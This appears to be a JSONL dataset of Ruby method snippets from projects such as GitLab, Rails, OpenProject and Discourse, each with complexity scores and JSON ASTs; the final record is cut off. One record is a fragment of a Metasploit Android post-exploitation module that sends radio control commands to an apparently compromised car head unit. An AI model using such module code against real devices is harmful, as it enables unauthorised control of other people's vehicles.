{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/block_nesting.rb","start_line":44,"raw_source":"def count_if_block?(node)\n          return true unless node.if_type?\n          return false if node.elsif?\n          return count_modifier_forms? if node.modifier_form?\n\n          true\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"count_if_block?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_type?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"elsif?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"modifier_form?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"count_modifier_forms?\"]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6b4ff81d-41d3-4298-949a-3dc5569fd10f"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/numericality.rb","start_line":104,"raw_source":"def is_integer?(raw_value)\n        INTEGER_REGEX.match?(raw_value.to_s)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_integer?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INTEGER_REGEX\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_value\"]},\"to_s\"]}]}]}","id":"ada1f738-dde2-4f59-b61d-ec3101f5a8f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/branch_push_merge_commit_analyzer.rb","start_line":89,"raw_source":"def analyze\n      head_commit = get_commit(@commits.first.id)\n      head_commit.direct_ancestor = true\n      head_commit.merge_commit = head_commit\n\n      mark_all_direct_ancestors(head_commit)\n\n      # Analyzing a commit requires its child commit be analyzed first,\n      # which is the case here since commits are ordered from child to parent.\n      @id_to_commit.each_value do |commit|\n        analyze_parents(commit)\n      end\n    end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"analyze\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"head_commit\",{\"type\":\"send\",\"children\":[null,\"get_commit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commits\"]},\"first\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head_commit\"]},\"direct_ancestor=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head_commit\"]},\"merge_commit=\",{\"type\":\"lvar\",\"children\":[\"head_commit\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_all_direct_ancestors\",{\"type\":\"lvar\",\"children\":[\"head_commit\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@id_to_commit\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"send\",\"children\":[null,\"analyze_parents\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]}]}]}]}","id":"6bd83692-e699-438f-a574-4197c003710a"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_plugin_classes.rb","start_line":357,"raw_source":"def filter(tag, time, record)\n      record[@field] = @num\n      @num += 1\n      record\n    end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@field\"]},{\"type\":\"ivar\",\"children\":[\"@num\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@num\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}","id":"a6016579-62ef-4a18-9f0d-6ffe10520db0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/notification_handler/helper.rb","start_line":104,"raw_source":"def status_on_referenced_work_packages(work_packages, user, status)\n        work_packages.each do |work_package|\n          ::WorkPackages::UpdateService\n            .new(user:, model: work_package)\n            .call(status_id: status)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"status_on_referenced_work_packages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkPackages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}","id":"7cfcc68f-5c0c-4bec-8722-60a2242b9a06"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/local/koffee.rb","start_line":160,"raw_source":"def action_seek_down_search\n    print_status(' -- Seek down radio search -- ')\n    send_out('133 01')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action_seek_down_search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\" -- Seek down radio search -- \"]}]},{\"type\":\"send\",\"children\":[null,\"send_out\",{\"type\":\"str\",\"children\":[\"133 01\"]}]}]}]}","id":"4145080e-29ae-4ae5-a173-0a34b75b0f9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/generic/create_package_file_service.rb","start_line":6,"raw_source":"def execute\n        ::Packages::Package.transaction do\n          package_file = create_package_file(find_or_create_package)\n          ServiceResponse.success(payload: { package_file: package_file })\n        end\n      rescue ::Packages::DuplicatePackageError => e\n        ServiceResponse.error(message: e.message, reason: :package_file_already_exists)\n      rescue ::Packages::PackageProtectedError\n        ::Packages::CreatePackageService::ERROR_RESPONSE_PACKAGE_PROTECTED\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_file\",{\"type\":\"send\",\"children\":[null,\"create_package_file\",{\"type\":\"send\",\"children\":[null,\"find_or_create_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_file\"]},{\"type\":\"lvar\",\"children\":[\"package_file\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"DuplicatePackageError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"package_file_already_exists\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"PackageProtectedError\"]}]},null,{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"CreatePackageService\"]},\"ERROR_RESPONSE_PACKAGE_PROTECTED\"]}]},null]}]}","id":"48579230-4b5d-4655-ba15-de090757d620"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":527,"raw_source":"def order_options_with_tie_breaker(override_created_at: true)\n      order_by = if params[:order_by] == 'created_at' && override_created_at\n                   'id'\n                 else\n                   params[:order_by]\n                 end\n\n      order_options = { order_by => params[:sort] }\n      order_options['id'] ||= params[:sort] || 'asc'\n      order_options\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"order_options_with_tie_breaker\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"override_created_at\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order_by\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"created_at\"]}]},{\"type\":\"lvar\",\"children\":[\"override_created_at\"]}]},{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order_options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]},{\"type\":\"lvar\",\"children\":[\"order_options\"]}]}]}","id":"382a037d-9dbe-406d-ab0e-35e87f9b17fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/base_query.rb","start_line":172,"raw_source":"def add_error(local_attribute, attribute_name, object)\n    messages = object\n                 .errors\n                 .messages\n                 .values\n                 .flatten\n                 .join(\" #{I18n.t('support.array.sentence_connector')} \")\n\n    errors.add local_attribute, errors.full_message(attribute_name, messages)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"local_attribute\"]},{\"type\":\"arg\",\"children\":[\"attribute_name\"]},{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"errors\"]},\"messages\"]},\"values\"]},\"flatten\"]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"support.array.sentence_connector\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"local_attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"full_message\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]}]}]}","id":"11da59fd-3b11-4aec-b67f-df33fb23ad03"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":471,"raw_source":"def default_endpoint\n    default = endpoints.detect { |e| e.role == \"default\" }\n    default || endpoints.build(:role => \"default\")\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoints\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"role\"]},\"==\",{\"type\":\"str\",\"children\":[\"default\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"endpoints\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]}]}]}","id":"2647f606-252c-4794-b0bc-c612232d70c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":82,"raw_source":"def branches\n      project.repository.branch_names\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"branches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"branch_names\"]}]}","id":"a817f2da-3271-447d-9f56-6b0f3025ea9d"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/text_formatting/filters/macros/create_work_package_link.rb","start_line":49,"raw_source":"def work_package_link(macro, context) # rubocop:disable Metrics/AbcSize\n      project = context[:project]\n      raise I18n.t(\"macros.create_work_package_link.errors.no_project_context\") if project.nil?\n\n      type_name = macro[\"data-type\"]\n      class_name = macro[\"data-classes\"] == \"button\" ? \"button\" : nil\n\n      if type_name.present?\n        type = project.types.find_by(name: type_name)\n        if type.nil?\n          raise I18n.t(\n            \"macros.create_work_package_link.errors.invalid_type\",\n            type: type_name,\n            project: project.name\n          )\n        end\n\n        ApplicationController.helpers.link_to(\n          I18n.t(\"macros.create_work_package_link.link_name_type\", type_name:),\n          new_project_work_packages_path(project_id: project.identifier, type: type.id),\n          class: class_name\n        )\n      else\n        ApplicationController.helpers.link_to(\n          I18n.t(\"macros.create_work_package_link.link_name\"),\n          new_project_work_packages_path(project_id: project.identifier),\n          class: class_name\n        )\n      end\n    end","complexity_score":40.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"macro\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"macros.create_work_package_link.errors.no_project_context\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"type_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macro\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"macro\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-classes\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"button\"]}]},{\"type\":\"str\",\"children\":[\"button\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_name\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"types\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"macros.create_work_package_link.errors.invalid_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"name\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"helpers\"]},\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"macros.create_work_package_link.link_name_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_name\"]},{\"type\":\"lvar\",\"children\":[\"type_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new_project_work_packages_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"helpers\"]},\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"macros.create_work_package_link.link_name\"]}]},{\"type\":\"send\",\"children\":[null,\"new_project_work_packages_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"identifier\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]}]}]}","id":"a09f768f-11f8-4757-b5e5-bcbb9cf09e80"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/ldap/base_service.rb","start_line":60,"raw_source":"def synchronize_user_attributes(user, attributes)\n      if attributes.blank?\n        lock_user!(user)\n      elsif user.new_record?\n        try_to_create(attributes)\n      else\n        try_to_update(user, attributes)\n      end\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize_user_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"lock_user!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[null,\"try_to_create\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"try_to_update\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]}","id":"ea1ed4b6-27bb-40ba-a50c-15e8ae3ad252"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250829190715_drop_unneeded_sequences.rb","start_line":7,"raw_source":"def up\n    drop_sequence(:project_incident_management_settings, :project_id,\n      :project_incident_management_settings_project_id_seq)\n    drop_sequence(:user_statuses, :user_id, :user_statuses_user_id_seq)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_sequence\",{\"type\":\"sym\",\"children\":[\"project_incident_management_settings\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"project_incident_management_settings_project_id_seq\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_sequence\",{\"type\":\"sym\",\"children\":[\"user_statuses\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"user_statuses_user_id_seq\"]}]}]}]}","id":"14ce3194-2c5c-4d71-b195-d7d3bb3afe18"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/signup.rb","start_line":121,"raw_source":"def has_disabled_email?\n        find(\".create-account-email\").has_css?(\"input[disabled]\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_disabled_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".create-account-email\"]}]},\"has_css?\",{\"type\":\"str\",\"children\":[\"input[disabled]\"]}]}]}","id":"f5eb423f-f6ef-46b9-9e9c-1cfe1f392ee1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization.rb","start_line":76,"raw_source":"def build_bot(persona_klass, llm_model)\n        persona = persona_klass.new\n        user = User.find_by(id: persona_klass.user_id) || Discourse.system_user\n\n        DiscourseAi::Personas::Bot.as(user, persona: persona, model: llm_model)\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_bot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"persona_klass\"]},{\"type\":\"arg\",\"children\":[\"llm_model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"persona\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_klass\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"persona_klass\"]},\"user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"as\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"lvar\",\"children\":[\"persona\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"llm_model\"]}]}]}]}]}]}","id":"a4e180e4-db95-4f2f-bd4f-b885d5592172"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":329,"raw_source":"def public_merge_status\n    cannot_be_merged_rechecking? || preparing? ? 'checking' : merge_status\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"public_merge_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot_be_merged_rechecking?\"]},{\"type\":\"send\",\"children\":[null,\"preparing?\"]}]},{\"type\":\"str\",\"children\":[\"checking\"]},{\"type\":\"send\",\"children\":[null,\"merge_status\"]}]}]}","id":"ac6eaf88-d3ac-4798-a45a-cd97af3fd124"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/du/du_client.rb","start_line":127,"raw_source":"def parse_upload_response(response)\n      content = response.body\n      if !content['statusCode'].nil? && content['statusCode'] != 200\n        error_codes = \"\"\n        error_codes = content['errorCodes'].join(',') unless content['errorCodes'].nil?\n        error_message = \"[#{error_codes}] #{content['localizedMessage']}\"\n        raise UnexpectedResponse.new, error_message\n      end\n      content\n    end","complexity_score":24.73,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_upload_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"statusCode\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"statusCode\"]}]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_codes\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errorCodes\"]}]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"error_codes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errorCodes\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"er